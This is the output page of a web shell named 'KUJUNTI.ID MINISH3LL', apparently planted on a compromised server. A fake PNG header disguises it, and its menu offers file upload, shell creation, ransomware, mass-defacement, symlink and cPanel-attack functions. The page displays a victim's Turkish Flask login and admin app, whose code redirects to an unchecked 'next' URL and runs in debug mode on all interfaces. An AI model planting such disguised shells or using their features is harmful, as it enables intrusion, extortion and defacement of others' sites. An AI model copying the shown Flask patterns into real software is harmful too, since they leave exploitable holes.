\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/imza-ob/EmailSignatureDesigner/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/imza-ob/EmailSignatureDesigner/main.py


from flask import render_template, redirect, url_for, flash, request
from flask_login import login_user, logout_user, login_required, current_user
import logging
import os

# Configure logging
logging.basicConfig(level=logging.DEBUG)

from app import app, db
from models import User
from forms import LoginForm, UserCreateForm

@app.route('/')
@login_required
def index():
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if form.validate_on_submit():
        user = User.query.filter_by(username=form.username.data).first()
        if user and user.check_password(form.password.data):
            login_user(user, remember=form.remember_me.data)
            next_page = request.args.get('next')
            return redirect(next_page or url_for('index'))
        flash('Geçersiz kullanıcı adı veya şifre')
    return render_template('login.html', form=form)

@app.route('/logout')
@login_required
def logout():
    logout_user()
    return redirect(url_for('login'))

@app.route('/admin')
@login_required
def admin_panel():
    if not current_user.is_admin:
        flash('Bu sayfaya erişim yetkiniz yok.')
        return redirect(url_for('index'))
    users = User.query.all()
    return render_template('admin.html', users=users)

@app.route('/admin/user/add', methods=['GET', 'POST'])
@login_required
def add_user():
    if not current_user.is_admin:
        flash('Bu işlem için yetkiniz yok.')
        return redirect(url_for('index'))

    form = UserCreateForm()
    if form.validate_on_submit():
        user = User(
            username=form.username.data,
            email=form.email.data,
            is_admin=form.is_admin.data
        )
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('Kullanıcı başarıyla oluşturuldu.')
        return redirect(url_for('admin_panel'))
    return render_template('user_form.html', form=form, title='Yeni Kullanıcı Ekle')

@app.route('/admin/user/delete/<int:id>')
@login_required
def delete_user(id):
    if not current_user.is_admin:
        flash('Bu işlem için yetkiniz yok.')
        return redirect(url_for('index'))

    if current_user.id == id:
        flash('Kendinizi silemezsiniz.')
        return redirect(url_for('admin_panel'))

    user = User.query.get_or_404(id)
    db.session.delete(user)
    db.session.commit()
    flash('Kullanıcı silindi.')
    return redirect(url_for('admin_panel'))

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

© KUJUNTI.ID